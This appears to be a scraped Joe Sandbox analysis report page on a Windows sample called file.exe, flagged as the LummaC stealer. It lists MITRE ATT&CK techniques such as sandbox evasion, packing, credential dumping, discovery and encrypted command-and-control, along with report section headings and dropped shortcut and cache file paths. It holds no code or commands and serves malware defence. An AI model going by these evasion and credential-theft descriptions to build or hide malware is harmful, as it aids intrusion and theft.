Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Windows Analysis Report
file.exe